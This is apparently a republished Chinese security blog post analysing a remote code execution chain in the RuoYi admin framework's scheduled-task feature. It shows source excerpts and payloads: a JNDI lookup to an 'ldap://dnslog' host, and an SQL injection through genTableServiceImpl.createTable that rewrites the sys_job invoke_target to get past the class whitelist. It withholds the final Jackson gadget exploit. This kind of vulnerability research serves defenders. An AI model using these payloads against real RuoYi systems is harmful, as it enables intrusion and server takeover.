免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
首先看若依官方文档的描述:若依的后台定时任务可以执行javaBean的方法和直接调用java类。
查阅代码:执行调用功能时会从数据库获取invokeTarget然后反射调用,理论上我们已经可以执行任意方法了,但是若依在创建计划任务时已经使用了黑白名单限制传入的参数,ban掉了rmi、ldap、http甚至限制了调用的类只能是com.ruoyi下面的类。
com.ruoyi.quartz.controller.SysJobController#run
"定时任务", businessType = BusinessType.UPDATE) (title =
"monitor:job:changeStatus") (
"/run") (
public AjaxResult run(SysJob job) throws SchedulerException
{
boolean result = jobService.run(job);
return result ? success() : error("任务不存在或已过期!");
}
com.ruoyi.quartz.service.impl.SysJobServiceImpl#run
(rollbackFor = Exception.class)
public boolean run(SysJob job) throws SchedulerException
{
boolean result = false;
Long jobId = job.getJobId();
SysJob tmpObj = selectJobById(job.getJobId());
// 参数
JobDataMap dataMap = new JobDataMap();
dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
JobKey jobKey = ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup());
if (scheduler.checkExists(jobKey))
{
result = true;
scheduler.triggerJob(jobKey, dataMap);
}
return result;
}
com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod
private static void invokeMethod(Object bean, String methodName, ListmethodParams)
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0)
{
Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams));
method.invoke(bean, getMethodParamsValue(methodParams));
}
else
{
Method method = bean.getClass().getMethod(methodName);
method.invoke(bean);
}
}
既然invokeTarget存在数据库中,那我们能否通过调用sql语句去修改字段实现任意代码执行。我先手动直接在库中修改,由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类需要满足具有public类型的无参构造方法且具有public类型且可以执行命令的方法。
直接修改为javax.naming.InitialContext.lookup("ldap://dnslog")
前端刷新,发现字符串已经被替换了,点击执行然后发现dns收到了请求,验证成功,接下来是解决如何借助计划任务修改数据库内容。
有师傅在先知发的文章https://xz.aliyun.com/t/11336,为之前一次绕过提供了方法,借助jdbcTemplate.execute("0x.....")执行sql语句。但是很遗憾jdbcTemplate已经不在白名单里了(白名单为com.ruoyi.*,jdbcTemplate是org.springframework中的类)。
在GenTableMapper.xml中发现一个存在注入的写法
跟着找到了这个是com.ruoyi.generator.service.impl.GenTableServiceImpl下的方法
构造参数:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'lambda' WHERE job_id = 1;')
至此,借助这个Bean实现了一个sql注入
poc:genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a61... WHERE job_id = 1;')
上面我们已经借助于若依代码生成功能的Bean实现了sql注入修改了库中的字段,并且在dnslog成功收到了请求,但是若依最新版的依赖都很新cb194、cc322,都是目前没有利用链的版本,好再他有jackson,借助POJOnode可以调用任意getter,从而利用templates,具体参考https://xz.aliyun.com/t/12509。
受规定影响,具体exp的利用链不方便给出,欢迎
原文始发于微信公众号(Lambda小队):若依后台最新版RCE(在野)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论